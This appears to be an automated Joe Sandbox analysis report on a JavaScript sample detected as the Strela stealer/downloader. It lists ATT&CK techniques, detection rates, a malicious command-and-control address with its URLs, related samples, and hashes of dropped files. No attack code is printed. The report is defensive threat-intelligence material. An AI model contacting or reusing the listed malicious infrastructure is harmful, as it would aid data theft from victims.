Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8708187442773418429.js	7%	Virustotal		Browse
8708187442773418429.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://schemas.microsoft.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/y	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/y	net.exe, 00000007.00000003.1471349612.000001404B158000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477855476.000001404B158000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.microsoft.	svchost.exe, 00000009.00000002.2700509247.000001F3294AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2701445534.000001F32EA12000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1479380010.000001F32E910000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1477855476.000001404B158000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477807609.000001404B128000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477855476.000001404B14D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477967387.000001404B17E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1470535893.000001404B17C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588802
Start date and time:	2025-01-11 05:40:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8708187442773418429.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.50.131, 2.22.50.144, 172.202.163.200, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:41:13	API Interceptor	25x Sleep call for process: powershell.exe modified
23:41:17	API Interceptor	1x Sleep call for process: net.exe modified
23:41:18	API Interceptor	2x Sleep call for process: svchost.exe modified
23:41:30	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022118212298176
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAH:RJE+Lfki1GjHwU/+vVhWqpu
MD5:	4CCF8FC195233F4F06EDB99545C64532
SHA1:	D50A89101C628AD75B5DC22C1C61AD75A6F192D2
SHA-256:	FE1FB1272C7B0CFB52D802EB4BA82BA51E0FCF38804C73A3F2D7F10442DBFF5E
SHA-512:	8A2F07707FBD5874F4193CF241447DC7470C871532C707D88E7E016A0FCA09A04A722A46791232DC243FFD4C4D30DE896001BCB87C3800729D12999403391070
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2d92823c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433306121498523
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	BED47E06368DB1CCE31F6D45FF3BE0BB
SHA1:	D2C79A12AF2FD28C032A4505D1759F89800BE441
SHA-256:	A1B457853897E1201256295A957578FAF1DEDD68F3F9ED1EEDCF322068D276F3
SHA-512:	6732EE08912EA49A6E69F16A9471FC563A4C48D03249E34BBF5058F0BA3DCE426F50309EEFD0ACEB65FAD6A7F3FA1F70F700AFC809A9CB3741C1DFE484EFDEB9
Malicious:	false
Preview:	-..<... ...............X\...;...{......................0.x...... ...{s..)...}Y.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.....................................)...}Y....................,.)...}Y..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08155751156744703
Encrypted:	false
SSDEEP:	3:X/lllKYeAgrY8tql/nqlFcl1ZUllllc78hrNtlollGBnX/l/Tj/k7/t:XtllKzjNql/qlFclQ/ly7wrW254
MD5:	9F8EB01686C910B27C45453ADE0E4261
SHA1:	1E6649DFC67B1C48B77A320C55DC25C1684FA324
SHA-256:	CCBA3ACEB44F7D8126AD9F2CB40B1AD6B913C37016D5F6DC305E4567B267A9E0
SHA-512:	01E927BE9398E432FDE5FEB4BDE2578C5CDDBB34976DABFD2587CABC3E5F19D43B0140F8D0C29FCD3BBFB751B4F67C862B2269A3E4AC0DF7F35DD3C39677D78F
Malicious:	false
Preview:	).j......................................;...{...)...}Y.. ...{s.......... ...{s.. ...{s.P.... ...{s....................,.)...}Y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.202594658715562
Encrypted:	false
SSDEEP:	6:iO4qlLLmYQyq2PCHhJ2nKuAl9OmbnIFUtSqlLL6G1ZmwsqlLL6QRkwOCHhJ2nKui:7TLLmYVvBHAahFUtxLL6G1//LL6I56Hi
MD5:	A55A0C9177FB6A576EC923CB95F738F0
SHA1:	1F3A94244C75C522FB18F8082705452AD3F92862
SHA-256:	38344280E5E60876570A047085EC6239DDD9DB474B6FB9206BAAD05EC10E6D6D
SHA-512:	3205EC1F130620631199B039BCC79C3AFAEF3A1AF7A706DF5F28E12FCE1EBFC1A9C6EC6FD69D14EF7F2FAE14CB46020E2A9BF58344C428BAD467D8742FE7713C
Malicious:	false
Preview:	2025/01/10-23:41:17.568 1f30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:41:17.570 1f30 Recovering log #3.2025/01/10-23:41:17.570 1f30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.202594658715562
Encrypted:	false
SSDEEP:	6:iO4qlLLmYQyq2PCHhJ2nKuAl9OmbnIFUtSqlLL6G1ZmwsqlLL6QRkwOCHhJ2nKui:7TLLmYVvBHAahFUtxLL6G1//LL6I56Hi
MD5:	A55A0C9177FB6A576EC923CB95F738F0
SHA1:	1F3A94244C75C522FB18F8082705452AD3F92862
SHA-256:	38344280E5E60876570A047085EC6239DDD9DB474B6FB9206BAAD05EC10E6D6D
SHA-512:	3205EC1F130620631199B039BCC79C3AFAEF3A1AF7A706DF5F28E12FCE1EBFC1A9C6EC6FD69D14EF7F2FAE14CB46020E2A9BF58344C428BAD467D8742FE7713C
Malicious:	false
Preview:	2025/01/10-23:41:17.568 1f30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:41:17.570 1f30 Recovering log #3.2025/01/10-23:41:17.570 1f30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.175426567176066
Encrypted:	false
SSDEEP:	6:iO4qlLLZpDM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqlLLmSgZmwsqlLLsDMVkwOC1:7TLLU+vBHAa8uFUtxLLG//LLZV56HAaU
MD5:	C794200E7A3F486D0826483AE18FB6BA
SHA1:	4657F09BC422E5BC284D03913CF6C83DEC87795A
SHA-256:	6B99471E220AB45452C147940CDFF2DAE18AC20AD6608BBE8D1BCB69F1ED78FC
SHA-512:	236C7FE22AEE77E4D85983509371837CB7A79726A80FF99805C2BF2A0844FA6307F3AE1524CBCB295A5B165BE2C2E122F34EC406A0E6207B78CC97A35F590014
Malicious:	false
Preview:	2025/01/10-23:41:17.834 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:41:17.836 1c1c Recovering log #3.2025/01/10-23:41:17.837 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.175426567176066
Encrypted:	false
SSDEEP:	6:iO4qlLLZpDM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqlLLmSgZmwsqlLLsDMVkwOC1:7TLLU+vBHAa8uFUtxLLG//LLZV56HAaU
MD5:	C794200E7A3F486D0826483AE18FB6BA
SHA1:	4657F09BC422E5BC284D03913CF6C83DEC87795A
SHA-256:	6B99471E220AB45452C147940CDFF2DAE18AC20AD6608BBE8D1BCB69F1ED78FC
SHA-512:	236C7FE22AEE77E4D85983509371837CB7A79726A80FF99805C2BF2A0844FA6307F3AE1524CBCB295A5B165BE2C2E122F34EC406A0E6207B78CC97A35F590014
Malicious:	false
Preview:	2025/01/10-23:41:17.834 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:41:17.836 1c1c Recovering log #3.2025/01/10-23:41:17.837 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.956836384183679
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjFosBdOg2Hn5Zcaq3QYiub6P7E4T3y:Y2sRdsqF9dMHn5g3QYhbS7nby
MD5:	E667A095C373B45F4B541EB717966BF7
SHA1:	EFF3F72B99197D04BA4A29A454A5BDB61C47BD43
SHA-256:	19D1CBC3230C3757C38E6C13BD1624A8C3969E32C84F5111ABBF6B1CAD7E089B
SHA-512:	EA2BB39C8484F8EC7595B2FF0FCC3053D261412EA1879452AFD8A8C9CD97C21BEF47622938D3BB7DF6EA03F40ACA27FE2C3F958DC7FF1473A803764052FE204C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130490054219","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131512},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ed11aee2-a8e7-4f18-8126-31477be27be9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956836384183679
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjFosBdOg2Hn5Zcaq3QYiub6P7E4T3y:Y2sRdsqF9dMHn5g3QYhbS7nby
MD5:	E667A095C373B45F4B541EB717966BF7
SHA1:	EFF3F72B99197D04BA4A29A454A5BDB61C47BD43
SHA-256:	19D1CBC3230C3757C38E6C13BD1624A8C3969E32C84F5111ABBF6B1CAD7E089B
SHA-512:	EA2BB39C8484F8EC7595B2FF0FCC3053D261412EA1879452AFD8A8C9CD97C21BEF47622938D3BB7DF6EA03F40ACA27FE2C3F958DC7FF1473A803764052FE204C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130490054219","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131512},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231194860136346
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b8Sr9Un:S43C4mS7fFi0KFYDjr3LWO3V3aw+b8Sy
MD5:	1FD25C543E1565C6D39A29A5D53EB48C
SHA1:	39B804C138CB03594001FD75EC17C4F69EB68802
SHA-256:	9F047AE807486BC7949EF34FA4DA371161636E6F3340F628222A5E3B0FC6F82B
SHA-512:	E10F4436C379B7355A80BEF648C84F607EB49C0AF0AB7BC6657E2F7C3BE67E8387CB48C832CDD68FEC634217904BBAF12DF4DBA378F4D2F3EE3E44B48DEC086F
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.156512540547439
Encrypted:	false
SSDEEP:	6:iO4qlXztDM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqlOG6gZmwsqlfSDMVkwOCHhJ2nv:7T6+vBHAa8jFUtxp///f3V56HAa84J
MD5:	10F47758C5637766BAB31B98E2C58BA4
SHA1:	F2E532E94C91A7421B1CE0D7DA825B874D4D7700
SHA-256:	ACFC7734BFA72D518FE6FC5A46A67FFF75476E96A083B904D6AF45FD7AE2D947
SHA-512:	EFD1243EBB9BC975CFEEA6B2DA149BD9A6264F0BC549CBE570733BCBD088CBD8D1D5C471C7822D2B53A02289D452817BFAC5F073567635C7A58B7956CF31C28C
Malicious:	false
Preview:	2025/01/10-23:41:18.387 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:41:18.405 1c1c Recovering log #3.2025/01/10-23:41:18.410 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.156512540547439
Encrypted:	false
SSDEEP:	6:iO4qlXztDM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqlOG6gZmwsqlfSDMVkwOCHhJ2nv:7T6+vBHAa8jFUtxp///f3V56HAa84J
MD5:	10F47758C5637766BAB31B98E2C58BA4
SHA1:	F2E532E94C91A7421B1CE0D7DA825B874D4D7700
SHA-256:	ACFC7734BFA72D518FE6FC5A46A67FFF75476E96A083B904D6AF45FD7AE2D947
SHA-512:	EFD1243EBB9BC975CFEEA6B2DA149BD9A6264F0BC549CBE570733BCBD088CBD8D1D5C471C7822D2B53A02289D452817BFAC5F073567635C7A58B7956CF31C28C
Malicious:	false
Preview:	2025/01/10-23:41:18.387 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:41:18.405 1c1c Recovering log #3.2025/01/10-23:41:18.410 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
